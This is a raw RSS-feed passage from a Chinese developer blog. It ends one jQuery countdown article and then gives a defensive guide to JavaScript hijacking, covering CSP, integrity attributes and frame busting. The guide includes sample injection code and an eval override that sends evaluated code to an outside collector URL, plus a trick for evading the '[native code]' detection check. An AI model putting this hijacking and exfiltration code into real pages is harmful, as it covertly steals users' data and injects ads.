YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;"><img src="http://p1.pstatp.com/large/242a0004fbf2e45a928e" img_width="933" img_height="443" alt="一个友好的倒计时库：jQuery.countdown.js" inline="0" style="border: 0px; max-width: 100%; display: block; margin: 10px auto;" /></p><p class="pgc-img-caption" style="margin: 0px 0px 16px; padding: 0px; text-align: center; color: rgb(119, 119, 119); line-height: 16px; font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif;">jQuery.countdown.js的使用步骤和效果</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">从上图的代码中，我们可以看到，它和HTML无关的意思了，你可以任意组合显示的方式，它会填充你的%w、%d、%H、%M、%S。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">它还有很多配置选项，很多用法，比如：倒计时秒结束后正常时间钟等。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;"><span style="font-weight: 700;">我们用插件还能得到什么？</span></p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">如果你只是为了实现某个功能，那么插件就可以达到的，我们还能获取什么呢？ 这里，我想说的是，如果时间足够的话，不妨看一下插件或者js库的源码，学习或者增强一下自己的知识点。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">比如本插件中，有这么一句：</p><blockquote style="margin: 1em 0px; padding: 12px 10px; position: relative; font-size: 16px; line-height: 1.5; color: rgb(153, 153, 153); background: rgb(244, 245, 246); border: 1px solid rgb(232, 232, 232); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif;"><p style="margin: 0px; padding: 0px;">var argumentsArray = Array.prototype.slice.call(arguments, 0);</p></blockquote><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">我们知道，arguments是函数的参数对象。它是数组吗？</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">不是的，它是一个类数组。</p><blockquote style="margin: 1em 0px; padding: 12px 10px; position: relative; font-size: 16px; line-height: 1.5; color: rgb(153, 153, 153); background: rgb(244, 245, 246); border: 1px solid rgb(232, 232, 232); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif;"><p style="margin: 0px; padding: 0px;">类数组：具有key名为：length，值为数字，其它key，也是数字，类似这样：'0'、'1'...</p></blockquote><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">你可以像数组那样（arguments[0]）使用。但是，你应该转换为真正的数组（这要是前端面试的常见题）。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">还比如本插件中，有这样的语句：</p><blockquote style="margin: 1em 0px; padding: 12px 10px; position: relative; font-size: 16px; line-height: 1.5; color: rgb(153, 153, 153); background: rgb(244, 245, 246); border: 1px solid rgb(232, 232, 232); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif;"><p style="margin: 0px; padding: 0px;">var DIRECTIVE_KEY_MAP = {Y:&quot;years&quot;, m:&quot;months&quot;,...}</p></blockquote><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">这种key简称图的方式，是不是更方便简洁。</p><p style="margin: 16px 0px; padding: 0px; color: rgb(34, 34, 34); font-family: &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei&quot;, &quot;WenQuanYi Micro Hei&quot;, &quot;Helvetica Neue&quot;, Arial, sans-serif; font-size: 16px;">这里只是，抛砖引玉，你可以发现更好玩的。有空赶紧试试吧。</p><p style="margin: 16px 0px; padding: 0px;"><font color="#191919" face="PingFang SC, Arial, 微软雅黑, 宋体, simsun, sans-serif"><span style="font-size: 16px;">【本文由&ldquo;码农不是农&rdquo;发布，2017年06月07日】</span></font></p>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2286.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2286</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2286&amp;key=a102bd43</trackback:ping></item><item><title>javascript防劫持-防止网页被Frame-Content Security Policy-添加integrity属性</title><author>camnpr@163.com (佚名)</author><link>http://camnpr.com/javascript/2285.html</link><pubDate>Thu, 05 Jan 2017 16:58:44 +0800</pubDate><guid>http://camnpr.com/javascript/2285.html</guid><description><![CDATA[<h2>什么是javascript劫持</h2><p>javascript劫持属于HTTP劫持中的一种，主要是劫持js文件，然后在网页中通过js脚本往网页中注入图片和链接或者框架广告，也叫流量劫持。 文明一点的劫持只是右下角放一个固定广告，不文明的就自动弹出新广告窗口（一般会被浏览器拦截）或者给整个网页添加点击事件弹出新广告页面。</p><h2><a id="user-content-javascript劫持套路" class="anchor" href="https://github.com/scscms/guardJs#javascript劫持套路" ></a>javascript劫持套路</h2><h3><a id="user-content-1documentwrite注入" class="anchor" href="https://github.com/scscms/guardJs#1documentwrite注入" ></a>1、document.write注入</h3><p>假如页面中正常请求的是a.js，a.js请求被劫持后返回的脚本就可能是这样的：</p><div class="highlight highlight-source-js"><pre><span class="pl-c1">document</span>.<span class="pl-c1">writeln</span>(<span class="pl-s"><span class="pl-pds">'</span>&lt;script type="text/javascript" src="http://www.xxx.com/a.js?tcdsp=true"&gt;&lt;<span class="pl-cce">\/</span>script&gt;<span class="pl-pds">'</span></span>);<span class="pl-c1">document</span>.<span class="pl-c1">write</span>(<span class="pl-s"><span class="pl-pds">'</span>&lt;script type="text/javascript" src="http://www.bbb.com/ad.js"&gt;&lt;<span class="pl-cce">\/</span>script&gt;<span class="pl-pds">'</span></span>);<span class="pl-c1">document</span>.<span class="pl-c1">write</span>(<span class="pl-s"><span class="pl-pds">'</span>其他脚本标签或字符<span class="pl-pds">'</span></span>);</pre></div><p>因为要保证页面正常，所以劫持者会还原a.js请求，为了避免死循环，所以在被劫持的js请求里添加特定的参数作区别，同时插入自己的js广告文件链接。 案例查看<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F01_write%7Chtml"  target="_blank">01_write.html</a></p><h4><a id="user-content-对策过滤documentwritedocumentwriteln字符" class="anchor" href="https://github.com/scscms/guardJs#对策过滤documentwritedocumentwriteln字符" ></a>对策：过滤document.write,document.writeln字符</h4><blockquote><p>重写这两个方法，并在字符串中正则匹配完整script标签，并提取scr对比白名单，符合的就写入script标签。其他文本或标签全部忽略。 缺点：杀伤力过强。如果document.write把字符分开多次写入会漏检查或者说绕过检查。 注意：文档中尽量不要使用document.write\writeln形式插入标签！ 保护文件<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F01_write_guard%7Chtml"  target="_blank">01_write_guard.html</a></p></blockquote><h3><a id="user-content-2htmlelementinnerhtml注入" class="anchor" href="https://github.com/scscms/guardJs#2htmlelementinnerhtml注入" ></a>2、HTMLElement.innerHTML注入</h3><p>通过innerHTML可以注入各种标签。 案例查看<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F02_innerHTML%7Chtml"  target="_blank">02_innerHTML.html</a></p><h4><a id="user-content-对策过滤innerhtml注入标签不能是框架和script" class="anchor" href="https://github.com/scscms/guardJs#对策过滤innerhtml注入标签不能是框架和script" ></a>对策：过滤innerHTML注入标签不能是框架和script。</h4><blockquote><p>重写HTMLElement.innerHTML方法，并在字符串中正则匹配<code>/&lt;(i?frame|script).+?&lt;\/\1&gt;/gi</code>并过滤掉。 缺点：非法的图片和链接等没有过滤。也不能简单提取字符中的链接地址比较，因为很可能会误杀。所以其他标签等其生成后再逐个逐个检查。 注意：建议iframe不要通过innerHTML生成！ 保护文件<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F02_innerHTML_guard%7Chtml"  target="_blank">02_innerHTML_guard.html</a></p></blockquote><h3><a id="user-content-3htmlelementappendchildhtmlelementinsertbefore注入" class="anchor" href="https://github.com/scscms/guardJs#3htmlelementappendchildhtmlelementinsertbefore注入" ></a>3、HTMLElement.appendChild、HTMLElement.insertBefore注入</h3><p>通过appendChild、insertBefore可以注入各种标签。 案例查看<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F03_appendChild%7Chtml"  target="_blank">03_appendChild.html</a></p><h4><a id="user-content-对策限制appendchildinsertbefore插入某些标签比如iframeframelinkstyleaudiovideoembedobject按实际情况调整" class="anchor" href="https://github.com/scscms/guardJs#对策限制appendchildinsertbefore插入某些标签比如iframeframelinkstyleaudiovideoembedobject按实际情况调整" ></a>对策：限制appendChild、insertBefore插入某些标签，比如iframe|frame|link|style|audio|video|embed|object按实际情况调整。</h4><blockquote><p>重写HTMLElement.appendChild、insertBefore方法，检查到指定的标签禁止插入。并改写HTMLElement.replaceChild方法转到insertBefore方法上检查。插入的标签并检查其style是否含有非法连接。 缺点：无法检查其绑定事件是否非法，这是防劫持最难的部分。 注意：建议iframe|frame|link|style严禁创建这些标签，禁用link|style的目的是避免注入者使用背景图片来显示广告内容！ 保护文件<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F03_appendChild_guard%7Chtml"  target="_blank">03_appendChild_guard.html</a></p></blockquote><h3><a id="user-content-4修改src或href劫持现有标签" class="anchor" href="https://github.com/scscms/guardJs#4修改src或href劫持现有标签" ></a>4、修改src或href劫持现有标签</h3><p>因禁止直接插入firame，那么劫持者可能会通过修改现有iframe或img或a的href达到劫持目的。 案例查看<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F03_appendChild%7Chtml"  target="_blank">03_appendChild.html</a></p><h4><a id="user-content-对策针对imgscriptiframeframea标签修改src或href的值进行过滤" class="anchor" href="https://github.com/scscms/guardJs#对策针对imgscriptiframeframea标签修改src或href的值进行过滤" ></a>对策：针对img|script|iframe|frame|a标签修改src或href的值进行过滤。</h4><blockquote><p>这些标签在节点生成前需要检查其src值是否合法。或者是已经存在的节点需要修改src也需要检查其合法，不合法将还原其赋值。 缺点：部分src、href值是否合法比较难界定，如href="javascript:..."或者图片src="data:images/..."等。 注意：script必须赋值前就过滤，赋值后再删除已经没有意义了，代码已经存入内容并已经执行了。img,a标签事后删除倒没影响。 保护文件<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F03_appendChild_guard%7Chtml"  target="_blank">03_appendChild_guard.html</a></p></blockquote><h3><a id="user-content-5修改现有标签style和绑定事件弹出窗口" class="anchor" href="https://github.com/scscms/guardJs#5修改现有标签style和绑定事件弹出窗口" ></a>5、修改现有标签style和绑定事件弹出窗口</h3><p>形成广告还有一种另类的方法，就是使用div等块标签通过样式使用背景图片来实现。并添加点击事件使用window.open弹出窗口。 案例查看<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F05_modifyStyle%7Chtml"  target="_blank">05_modifyStyle.html</a></p><h4><a id="user-content-对策监听属性修改重写windowopen方法" class="anchor" href="https://github.com/scscms/guardJs#对策监听属性修改重写windowopen方法" ></a>对策：监听属性修改，重写window.open方法。</h4><blockquote><p>对所有标签监听style,href,src属性的修改，发现非法链接地址将还原属性。并对window.open方法重写，阻止非法链接弹出。 缺点：因location.href,location.replace,location.assign方法都是只读，不能进行重写来排除非法链接。不过劫持者如果非要替换本页面来达到广告目的也失去了原来的意义。 注意：如果自己也有广告弹出，必须非常小心过滤规则。 保护文件<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F05_modifyStyle_guard%7Chtml"  target="_blank">05_modifyStyle_guard.html</a></p></blockquote><h3><a id="user-content-6文档末内注入广告脚本" class="anchor" href="https://github.com/scscms/guardJs#6文档末内注入广告脚本" ></a>6、文档末内注入广告脚本</h3><p>html文件同样会被劫持，所以源代码被注入广告脚本也是很正常，虽然超出js劫持范围。 案例查看<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F06_html%7Chtml"  target="_blank">06_html.html</a></p><h4><a id="user-content-对策如果注入的广告元素在本防劫持脚本之后还是有点希望可删除的通过windowmutationobserver监视dom变动事件逐个节点判断是否合法" class="anchor" href="https://github.com/scscms/guardJs#对策如果注入的广告元素在本防劫持脚本之后还是有点希望可删除的通过windowmutationobserver监视dom变动事件逐个节点判断是否合法" ></a>对策：如果注入的广告元素在本防劫持脚本之后，还是有点希望可删除的。通过window.MutationObserver监视DOM变动事件，逐个节点判断是否合法。</h4><blockquote><p>window.MutationObserver是监视DOM变动完成后执行的方法，包括节点元素属性变化。如果有多次变化会等所有变化完成后再执行，从性能上保证节点变化中途不影响。 缺点：大部注入节点都可顺利删除，但script标签一旦加载完成再删除节点是没有任何意义。还有无法阻止iframe被赋值到非法网站中。 注意：尽量不要在页面中使用iframe框架。 保护文件<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Frawgit%7Ccom%2Fscscms%2FguardJs%2Fmaster%2Fhtml%2F06_html_guard%7Chtml"  target="_blank">06_html_guard.html</a></p></blockquote><h3><a id="user-content-7添加integrity属性" class="anchor" href="https://github.com/scscms/guardJs#7添加integrity属性" ></a>7、添加integrity属性</h3><p>2014年3月18日，W3C发布子资源完整性 (<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Fwww%7Cw3%7Corg%2FTR%2F2014%2FWD-SRI-20140318%2F"  target="_blank">Subresource Integrity</a>) 的标准工作草案。子资源完整性（Subresource Integrity）规范定义了一种机制，用户代理（如浏览器）可以通过验证所获取到的资源文件是否经过篡改，保证获得资源的完整性。如果判断到下载的资源存在可能被篡改，浏览器将不执行此文件。</p><div class="highlight highlight-source-js"><pre><span class="pl-k">&lt;</span>script src<span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>https://code.jquery.com/jquery-1.10.0.min.js<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span><span class="pl-k">&lt;</span>script src<span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>https://code.jquery.com/jquery-1.10.2.min.js<span class="pl-pds">"</span></span>integrity<span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg=<span class="pl-pds">"</span></span> crossorigin<span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>anonymous<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span></pre></div><p>如上，浏览器下载了jquery-1.10.0.min.js将立刻执行脚本，哪怕是通过染毒的DNS恶意服务器里下载已经被篡改过的文件。而jquery-1.10.2.min.js下载后，浏览器将立即计算该脚本的哈希值并与脚本”integrity”属性标签中的哈希值作比较。如果二者不吻合，那么可以确定脚本已被篡改过，则浏览器就不会运行它。 而crossorigin属性则是浏览器用于限制对非同源资源的使用规则，<code>crossorigin="anonymous"</code>表示匿名CORS，如果使用<code>crossorigin="use-credentials"</code>表示带认证的CORS。而CORS问题请参考<code>Access-Control-Allow-Origin</code>相关资料。 现在只有　Chrome 和 Firefox 对这两个属性的完全支持。</p><h3><a id="user-content-8content-security-policy" class="anchor" href="https://github.com/scscms/guardJs#8content-security-policy" ></a>8、Content Security Policy</h3><p>W3C的Content Security Policy，简称CSP。主要是用来定义页面可以加载哪些资源，减少XSS的发生。 Chrome扩展已经引入了CSP，通过manifest.json或meta中的content_security_policy字段来定义。完全可以隔离远程的js,iframe,img,css等脚本的执行或加载。</p><div class="highlight highlight-source-js"><pre><span class="pl-k">&lt;</span>meta http<span class="pl-k">-</span>equiv<span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>Content-Security-Policy<span class="pl-pds">"</span></span> content<span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span><span class="pl-ii">default-src 'self' googlechrome.github.io;</span></span><span class="pl-s"> style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'<span class="pl-pds">"</span></span> <span class="pl-k">/</span><span class="pl-k">&gt;</span></pre></div><table class="mce-item-table"><thead><tr><th align="left">指令</th><th align="left">指令值示例</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left">default-src</td><td align="left">'self' cnd.a.com</td><td align="left">定义针对所有资源的默认加载策略</td></tr><tr><td align="left">script-src</td><td align="left">'self' js.a.com</td><td align="left">定义针对JavaScript的加载策略</td></tr><tr><td align="left">style-src</td><td align="left">'self' css.a.com</td><td align="left">定义针对样式的加载策略</td></tr><tr><td align="left">img-src</td><td align="left">'self' img.a.com</td><td align="left">定义针对图片的加载策略</td></tr><tr><td align="left">connect-src</td><td align="left">'self'</td><td align="left">针对Ajax、WebSocket等请求的加载策略。浏览器会模拟一个状态为400的响应</td></tr><tr><td align="left">font-src</td><td align="left">font.a.com</td><td align="left">针对Web Font的加载策略</td></tr><tr><td align="left">object-src</td><td align="left">'self'</td><td align="left">针对、或等标签引入的flash等插件的加载策略</td></tr><tr><td align="left">media-src</td><td align="left">media.a.com</td><td align="left">针对或等标签引入的html多媒体的加载策略</td></tr><tr><td align="left">frame-src</td><td align="left">'self'</td><td align="left">针对frame的加载策略</td></tr><tr><td align="left">sandbox</td><td align="left">allow-forms</td><td align="left">对请求的资源启用sandbox（类似于iframe的sandbox属性）</td></tr><tr><td align="left">report-uri</td><td align="left">/report-uri</td><td align="left">浏览器提交日志地址。只报日志用Content-Security-Policy-Report-Only响应头</td></tr></tbody></table><table class="mce-item-table"><thead><tr><th align="left">指令值</th><th align="left">指令示例</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left">*</td><td align="left">img-src *</td><td align="left">允许任何内容</td></tr><tr><td align="left">'none'</td><td align="left">img-src 'none'</td><td align="left">不允许任何内容</td></tr><tr><td align="left">'self'</td><td align="left">img-src 'self'</td><td align="left">允许来自相同来源的内容（相同的协议、域名和端口）</td></tr><tr><td align="left">data</td><td align="left">img-src data</td><td align="left">允许data:协议（例如base64编码的图片）</td></tr><tr><td align="left"><a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=http%3A%2F%2Fwww%7Ca%7Ccom%2F"  target="_blank">www.a.com</a></td><td align="left">img-src img.a.com</td><td align="left">允许加载指定域名的资源</td></tr><tr><td align="left">*.a.com</td><td align="left">img-src *.a.com</td><td align="left">允许加载a.com任何子域的资源</td></tr><tr><td align="left"><a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Fimg%7Ccom%2F"  target="_blank">https://img.com</a></td><td align="left">img-src&nbsp;<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Fimg%7Ccom%2F"  target="_blank">https://img.com</a></td><td align="left">允许加载img.com的https资源（协议需匹配）</td></tr><tr><td align="left">https:</td><td align="left">img-src https:</td><td align="left">允许加载https资源</td></tr><tr><td align="left">'unsafe-inline'</td><td align="left">script-src 'unsafe-inline'</td><td align="left">允许加载inline资源（例如常见的style属性，onclick，inline js和inline css等等）</td></tr><tr><td align="left">'unsafe-eval'</td><td align="left">script-src 'unsafe-eval'</td><td align="left">允许加载动态js代码，例如eval()</td></tr></tbody></table><p>更多查看(<a href="http://camnpr.com/TuiJianTools/Handler/gotoUrl.ashx?url=https%3A%2F%2Fwww%7Cw3%7Corg%2FTR%2F2012%2FCR-CSP-20121115%2F"  target="_blank">Content Security Policy</a>)</p><h3><a id="user-content-9防止网页被frame" class="anchor" href="https://github.com/scscms/guardJs#9防止网页被frame" ></a>9、防止网页被Frame</h3><p>通常可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫frame busting。</p><div class="highlight highlight-source-js"><pre><span class="pl-k">if</span>(self <span class="pl-k">!=</span> top){<span class="pl-smi">top</span>.<span class="pl-c1">location</span> <span class="pl-k">=</span> <span class="pl-smi">location</span>.<span class="pl-c1">href</span>;}</pre></div><p>一般来说我们都可以使用此脚本阻止本页面被Frame嵌套，但是在IE8及以下location对象可重置，当成普通变量（其他浏览器不能重设此变量），从而使此段代码失效。</p><p>X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在frame,iframe或者object中展现的标记。</p><table class="mce-item-table"><thead><tr><th align="left">取值</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left">DENY</td><td align="left">表示该页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。</td></tr><tr><td align="left">SAMEORIGIN</td><td align="left">表示该页面可以在相同域名页面的 frame 中展示。</td></tr><tr><td align="left">ALLOW-FROM uri</td><td align="left">表示该页面可以在指定来源的 frame 中展示。</td></tr></tbody></table><p>换一句话说，如果设置为 DENY，不光在别人的网站 frame 嵌入时会无法加载，在同域名页面中同样会无法加载。另一方面，如果设置为 SAMEORIGIN，那么页面就可以在同域名页面的 frame 中嵌套。</p><ul><li>配置 Apache</li></ul><div class="highlight highlight-text-xml"><pre>Header always append X-Frame-Options SAMEORIGIN</pre></div><ul><li>配置 nginx</li></ul><div class="highlight highlight-text-xml"><pre>add_header X-Frame-Options SAMEORIGIN;</pre></div><ul><li>配置 IIS</li></ul><div class="highlight highlight-text-xml"><pre>&lt;<span class="pl-ent">system</span>.webServer&gt;  ...  &lt;<span class="pl-ent">httpProtocol</span>&gt;    &lt;<span class="pl-ent">customHeaders</span>&gt;      &lt;<span class="pl-ent">add</span> <span class="pl-e">name</span>=<span class="pl-s"><span class="pl-pds">"</span>X-Frame-Options<span class="pl-pds">"</span></span> <span class="pl-e">value</span>=<span class="pl-s"><span class="pl-pds">"</span>SAMEORIGIN<span class="pl-pds">"</span></span> /&gt;    &lt;/<span class="pl-ent">customHeaders</span>&gt;  &lt;/<span class="pl-ent">httpProtocol</span>&gt;  ...&lt;/<span class="pl-ent">system</span>.webServer&gt;</pre></div><ul><li>php中使用</li></ul><div class="highlight highlight-text-html-php"><pre><span class="pl-s1"> <span class="pl-c1">header</span>(<span class="pl-s"><span class="pl-pds">'</span>X-Frame-Options:Deny<span class="pl-pds">'</span></span>);</span></pre></div><p>此方法支持所有浏览器，在IE下会提示“此内容不能显示在一个框架中”，而在chrome和firefox下会显示"about:blank",并在控制台输出相应错误。</p><h2><a id="user-content-防劫持难题" class="anchor" href="https://github.com/scscms/guardJs#防劫持难题" ></a>防劫持难题</h2><p>html,css文件被劫持且修改，js就爱莫能助。对节点绑定一些恶意函数也无法鉴别和清理。 低版本IE因不支持一些原型改造，所以无法实现部分防劫持功能。</p><h1>函数防劫hijacking</h1><h2><a id="user-content-1的函数劫持是什么" class="anchor" href="https://github.com/scscms/guardJs/blob/master/Function-hijacking.md#1的函数劫持是什么" ></a>1.的函数劫持是什么？</h2><p>javascript函数劫持，顾名思义，即在一个函数运行之前把它劫持下来，添加我们想要的功能。当这个函数实际运行的时候，它已经不是原本的函数了，而是带上了被我们添加上去的功能。这也是我们常见的钩子函数的原理之一。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-k">var</span> _alert <span class="pl-k">=</span> alert;    <span class="pl-k">function</span> <span class="pl-en">alert</span>(<span class="pl-smi">str</span>){        <span class="pl-k">if</span> (<span class="pl-en">confirm</span>(<span class="pl-s"><span class="pl-pds">'</span>How are you?<span class="pl-pds">'</span></span>)){            <span class="pl-en">_alert</span>(str);        }    }    <span class="pl-en">alert</span>(<span class="pl-s"><span class="pl-pds">'</span>something<span class="pl-pds">'</span></span>);</pre></div><p>类似的还有eval等等函数，甚至算定义函数也可能重写而劫持，因为js本身没有重载功能。</p><h2><a id="user-content-2函数劫持的目的" class="anchor" href="https://github.com/scscms/guardJs/blob/master/Function-hijacking.md#2函数劫持的目的" ></a>2.函数劫持的目的</h2><p>劫持当然就是希望在执行该函数时，添加一些副作用。比如收集信息（或者说盗取信息）,插入广告等。</p><div class="highlight highlight-source-js"><pre>    <span class="pl-k">var</span> _eval <span class="pl-k">=</span> eval;    <span class="pl-c1">window</span>.<span class="pl-en">eval</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-c1">setTimeout</span>(<span class="pl-k">function</span>(){            <span class="pl-k">var</span> img <span class="pl-k">=</span> <span class="pl-k">new</span> <span class="pl-en">Image</span>();            <span class="pl-smi">img</span>.<span class="pl-smi">src</span> <span class="pl-k">=</span> <span class="pl-s"><span class="pl-pds">"</span>http://www.scscms.com/collect?eval=<span class="pl-pds">"</span></span> <span class="pl-k">+</span> <span class="pl-c1">encodeURIComponent</span>(str);        },<span class="pl-c1">0</span>);        <span class="pl-en">_eval</span>(str);    };    <span class="pl-c1">eval</span>(<span class="pl-s"><span class="pl-pds">'</span>var a = "something";<span class="pl-pds">'</span></span>);</pre></div><h2><a id="user-content-3鉴定内置函数被劫持" class="anchor" href="https://github.com/scscms/guardJs/blob/master/Function-hijacking.md#3鉴定内置函数被劫持" ></a>3.鉴定内置函数被劫持</h2><p>怎么鉴定内置函数被劫持，网上流行一种直接方法是把内置函数的toString方法，在返回字符串中判断是否存在[native code]字符。比如eval函数没被劫持前返回字符是：</p><div class="highlight highlight-source-js"><pre><span class="pl-k">function</span> <span class="pl-en">eval</span>() {    [native code]}</pre></div><p>所以他们认为<code>eval.toString().indexOf("[native code]") &gt; 0</code>就是劫持了，这未免也太草率了。原因是在劫持过程中可随时添加此字符蒙骗过关：</p><div class="highlight highlight-source-js"><pre>    <span class="pl-c1">window</span>.<span class="pl-en">eval</span> <span class="pl-k">=</span> <span class="pl-k">function</span>(<span class="pl-smi">str</span>){        <span class="pl-c"><span class="pl-c">/*</span>[native code]<span class="pl-c">*/</span></span>        <span class="pl-c"><span class="pl-c">//</span>[native code]</span>        <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-s"><span class="pl-pds">"</span>[native code]<span class="pl-pds">"</span></span>);    };    <span class="pl-en">console</span>.<span class="pl-c1">log</span>(<span class="pl-smi">eval</span>.<span class="pl-c1">toString</span>());</pre></div><p>看看，是吧。按理说应该返回上面那样干干净净的代码才能判断没有被劫持，不是吗？还真不是！因为假如我添加如下代码呢：</p><div class="highlight 